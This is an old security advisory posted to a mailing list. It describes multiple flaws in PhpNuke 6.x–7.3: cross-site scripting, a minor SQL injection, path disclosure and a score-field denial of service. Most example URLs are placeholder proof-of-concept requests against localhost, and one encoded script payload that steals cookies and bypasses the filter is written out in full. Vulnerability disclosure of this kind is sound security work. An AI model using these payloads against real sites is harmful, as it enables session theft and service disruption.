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From: come2waraxe at yahoo.com (Janek Vind)
Subject: [waraxe-2004-SA#032 - Multiple security flaws in PhpNuke 6.x - 7.3]
{================================================================================}
{ [waraxe-2004-SA#032]
}
{================================================================================}
{
}
{ [ Multiple security flaws in PhpNuke
6.x - 7.3 ] }
{
}
{================================================================================}
Author: Janek Vind "waraxe"
Date: 11. June 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=32
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Php-Nuke is a popular freeware content management
system, written in php by
Francisco Burzi. This CMS (Content Management System)
is used on many thousands
websites, because it's freeware, easy to install and
has broad set of features.
Homepage: http://phpnuke.org
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Most of the bugs are XSS and one is noncritical sql
injection.
Affected are modules "Reviews", "Encyclopedia" and
"Faq".
A - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A1 - XSS in "Faq" module through unsanitaized
user-submitted variable "categories":
http://localhost/nuke73/modules.php?name=FAQ&myfaq=yes&id_cat=1&categories=[xss
code here]
A2 - XSS in "Encyclopedia" module through unsanitaized
user-submitted variable "ltr":
http://localhost/nuke73/modules.php?name=Encyclopedia&op=terms&eid=1<r=[xss
code here]
A3 - XSS in "Encyclopedia" module through unsanitaized
user-submitted variable "eid":
http://localhost/nuke73/modules.php?name=Encyclopedia&file=search&eid=[xss
code here]
http://localhost/nuke73/modules.php?name=Encyclopedia&file=search&query=f00bar&eid=[xss
code here]
A4 - XSS in "Encyclopedia" module through unsanitaized
user-submitted variable "query":
Remark: this exploit needs multipage encyclopedia
entry for success...
http://localhost/nuke73/modules.php?name=Encyclopedia&op=content&tid=774&page=2&query=[xss
code here]
A5 - XSS in "Reviews" module's function
"preview_review()":
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@bar.org&reviewer=f00bar&url_title=foobar&url=[xss
code here]
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@bar.org&reviewer=f00bar&cover=[xss
code here]
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&rlanguage=[xss
code here]
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&hits=[xss
code here]
A6 - XSS in "Reviews" module's function
"send_review()":
This function is written very poorly by security
means. Most of the input variables,
submitted by user, are not properly checked and will
be written to database without
sanitaize. So users with lower permissions (regular
users) can write review and when
admin will look at that review for approval, then XSS
event occurs. Basically it's
script injection and can be used for cookie
theft/browser redirection/etc.
Examples:
http://localhost/nuke73/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=[xss
code here]
And in addition to all previous mentioned weaknesses
such fragment of code can
be found from "/modules/Reviews/index.php":
------- [ original code starting ]
------------------------------------------------
function send_review($date, $title, $text, $reviewer,
$email, $score, $cover, $url, $url_title, $hits, $id,
$rlanguage) {
global $admin, $EditedMessage, $prefix, $db,
$module_name;
include ('header.php');
if (eregi("<!--pagebreak-->", $text)) {
$text =
ereg_replace("<!--pagebreak-->","<!--pagebreak-->;",$text);
}
$id = intval($id);
$title = stripslashes(FixQuotes(check_html($title,
"nohtml")));
$text =
stripslashes(Fixquotes(urldecode(check_html($text,
""))));
if (eregi("<!--pagebreak-->", $text)) {
$text =
ereg_replace("<!--pagebreak-->","<!--pagebreak-->",$text);
}
------- [ original code ending ]
------------------------------------------------
So what's bad in it? Well, let's look at "$text =
stripslashes(Fixquotes(urldecode(check_html($text,
""))));".
As we can see, first user submitted variable "text"
will be sanitized against html tags
(which is of course good thing to do), next it will be
urldecoded (mmmm...) and then all the "\'"
will be replaced with "''". Traditional mistake can be
found here - we can inject urlencoded
scripting content through variable "text" and it will
be not smashed by check_html(), coz
it is "reconstructed" AFTER check_html() ;)
Proof of concept example:
http://localhost/nuke72/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@bar.org&text=f00%253c/textarea>%253cscript>alert%2528document.cookie);%253c/script>bar
As seen above, we can use even simplest "<script>"
tags to accomplish XSS, because all the
malicious stuff will bypass phpnuke anti-xss filters,
being urlencoded...
Remark: it will not work on nuke73, because there is
added additional filter
against "%25" in query string. Is there a way to evade
this filter? Sure, if attacker is creative.
A7 - XSS in "Reviews" module's function
"savecomment()":
http://localhost/nuke73/modules.php?name=Reviews&rop=savecomment&uname=[xss
code here]&id=8&score=9
B - Sql injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
B1 - noncritical sql injection in module "reviews":
http://localhost/nuke73/modules.php?name=Reviews&rop=Q&order=[sql
injection code here]
C - Full path disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
C1 - full path disclosure in "Reviews" module function
"preview_review()":
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&date=f00bar
And we will get:
Warning: date(): Windows does not support dates prior
to midnight (00:00:00), January 1,
1970 in
D:\apache_wwwroot\nuke73\modules\Reviews\index.php on
line 214
Remark: this kind of error seems to occur only on
windows servers...
D - Flaws in score subsystem
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Score points must be in range 0...10, but its not
checked properly before storing to
database. In case on review score, if we issue request
like this:
http://localhost/nuke73/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00&score=9999
then:
1. we see funny looking very long line of score, which
itself is not insecure in any way ;)
2. we get error message, leading to full path
discosure:
(Warning: date(): Windows does not support dates prior
to midnight (00:00:00), January 1, 1970
in D:\apache_wwwroot\nuke73\modules\Reviews\index.php
on line 542)
Now, any user can post comments to reviews and give
score too. That score is not properly
checked too and this time lets give VERY BIG score to
review and lets see, whats happeing:
http://localhost/nuke73/modules.php?name=Reviews&rop=savecomment&id=1&uname=f00bar&score=999999999999999999999999
Result is DoS - server side will consume massively CPU
and memory resources and client-side
webbrowser will be stalled too. Finally in most cases
maximum php script execution time will
be exceeded and error message will be seen.
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Anyone interested in tutorial(s) for fixing those
security bugs, is welcome to
forum on http://www.waraxe.us/forums.html
See ya there!
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to Raido Kerna and to
http://www.gamecheaters.us staff!
Special greets to icenix, Dionysus and Stonecold for
great help!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@...oo.com
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
---------------------------------- [ EOF ]
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